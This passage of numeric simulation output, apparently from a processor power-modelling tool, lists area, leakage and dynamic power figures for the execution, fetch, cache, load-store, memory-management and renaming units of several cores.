'Execution Unit/Peak Dynamic': 6.47146,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.245871,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.01397,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.19132,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.103317,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.437191,
'Execution Unit/Register Files/Runtime Dynamic': 0.117287,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.463351,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.902872,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 2.95905,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000759035,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000759035,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000659685,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000254591,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00148416,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00366191,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00732877,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0993213,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.31768,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.243607,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.33734,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.84281,
'Instruction Fetch Unit/Runtime Dynamic': 0.691259,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0649802,
'L2/Runtime Dynamic': 0.00279861,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.9411,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.820429,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0551279,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.055128,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.20143,
'Load Store Unit/Runtime Dynamic': 1.14743,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.135936,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.271872,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0482441,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0492125,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.39281,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0399583,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.631794,
'Memory Management Unit/Runtime Dynamic': 0.0891708,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 22.8019,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.646773,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0228978,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.153863,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.823533,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 5.71325,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.252379,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.400918,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 1.36237,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.341112,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.550201,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.277723,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.16904,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.181263,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 6.57848,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.25738,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0143078,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.197972,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.105815,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.455352,
'Execution Unit/Register Files/Runtime Dynamic': 0.120123,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.48018,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.926381,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 3.02184,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000747955,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000747955,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000650246,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000251052,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00152004,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00366619,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00721499,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.101722,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.244967,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.345495,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96396,
'Instruction Fetch Unit/Runtime Dynamic': 0.703066,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0654128,
'L2/Runtime Dynamic': 0.00338924,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.92021,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.810558,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.054452,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0544519,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.17734,
'Load Store Unit/Runtime Dynamic': 1.13355,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.134269,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.268538,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0476526,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0486278,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.399995,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0401799,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.637962,
'Memory Management Unit/Runtime Dynamic': 0.0888078,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 23.0126,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.67705,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0236296,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.157117,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.857796,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 5.80844,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.234242,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.386673,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 1.26459,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.328277,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.529499,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.267273,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.12505,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.181573,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
